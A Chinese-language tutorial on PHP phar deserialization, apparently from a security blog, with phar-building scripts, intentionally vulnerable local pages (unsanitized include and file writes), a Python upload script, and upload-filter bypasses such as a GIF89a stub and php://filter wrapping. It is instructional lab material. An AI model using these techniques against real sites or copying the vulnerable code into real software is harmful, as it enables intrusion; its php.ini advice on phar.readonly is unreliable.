目录

浅析phar反序列化

# 浅析phar反序列化

# 定义

官方解释:什么是 phar?PHAR(PHP Archive)文件实际上是一种打包格式,用于将多个 PHP 文件和资源打包成一个文件。phar 归档的最佳特征是可以将多个文件组合成一个文件。phar 归档可以像任何其他文件一样由 PHP 在命令行和 Web 服务器上执行。

可不可以这样认为?phar文件是一个移动U盘,php可以通过phar://协议直接访问和执行U盘中的文件?

可以使用任何 fopen() 相关函数,opendir() 和 mkdir() 相关函数在 phar 归档内读取、更改、创建新文件或目录

# 结构

phar文件本质是一种压缩文件

# stub (phar文件头)

前面xxx内容不限,但必须以__HALT_COMPILER();结尾,否则phar扩展无法识别这个phar文件

因为前面的内容不限,在遇到限制文件格式时可以通过stub伪造文件类型上传

xxx<?php xxx; __HALT_COMPILER();?>
1

# manifest (元数据)

在这部分会将序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。

# contents (压缩文件内容)

被压缩文件的内容,可以写入php代码,通过include()及phar协议进行文件包含或者phar协议具体到某个php文件直接执行

# signature (签名)

可选

# 利用

php.ini修改配置,开启phar.readonly选项,取消前面的;注释

[Phar]
; http://php.net/phar.readonly
phar.readonly = On
1
2
3

利用前提

  • 存在文件上传/文件读写
  • 页面定义了类,且存在文件操作的函数

受影响函数列表原文地址 (opens new window)

1

本地简单尝试利用

phar.php生成phar文件

<?php
highlight_file(__FILE__);
    $phar = new Phar("shell.phar"); //生成一个phar文件后缀名必须为phar
    $phar->startBuffering();//开始缓冲Phar 写操作
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = 'hello,phar';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "<?php phpinfo();?>"); //添加要压缩的文件,内容为aaa
    //签名自动计算
    $phar->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>
1
2
3
4
5
6
7
8
9
10
11

index.php通过phar协议实现文件包含

<?php
highlight_file(__FILE__);
include$_GET['file'];
1
2
3

3

文件操作触发的反序列化

通过写文件代替文件上传,使用file_get_contents()函数举例读取文件时触发phar反序列化

<?php
highlight_file(__FILE__);
    class test{
    public $a;
    public function __destruct(){
        phpinfo();
    }
}
# 直接写文件代替文件上传
@file_put_contents($_POST['filename'],$_POST['content']);

$file = $_GET['file'];
@file_get_contents($file);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14

生成phar文件

<?php
highlight_file(__FILE__);
    class test {
        public $a;
    }
    $phar = new Phar("shell.phar"); //生成一个phar文件后缀名必须为phar
    $phar->startBuffering();//开始缓冲Phar 写操作
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new test();
    $o -> a='hacker';
    
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "aaa"); //添加要压缩的文件,内容为aaa
    //签名自动计算
    $phar->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

题目使用file_put_contents()函数写入文件,直接复制shell.phar文件内容会失败

需要复制二进制内容,使用python读取、上传

import requests

url = 'http://localhost/stuphar/'
data = {
    'filename':'a.phar',
    'content':open('shell.phar','rb').read(),
}
resp = requests.post(url,data=data)
print(resp.text)
1
2
3
4
5
6
7
8
9

上传后,使用phar协议读取phar文件,触发反序列化

2

# 扩展名

php通过stub文件头识别phar文件,所以可以自由修改文件后缀名绕过

# 文件头绕过

$phar->setStub("<?php __HALT_COMPILER(); ?>");,这里stub的文件头存在操作空间,添加一些白名单文件头

$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
1

# 伪协议绕过

限制phar://协议开头时,通过其他协议绕回来

include('php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt');
1

参考:

最后一次更新于: 2024/10/28, 00:17:46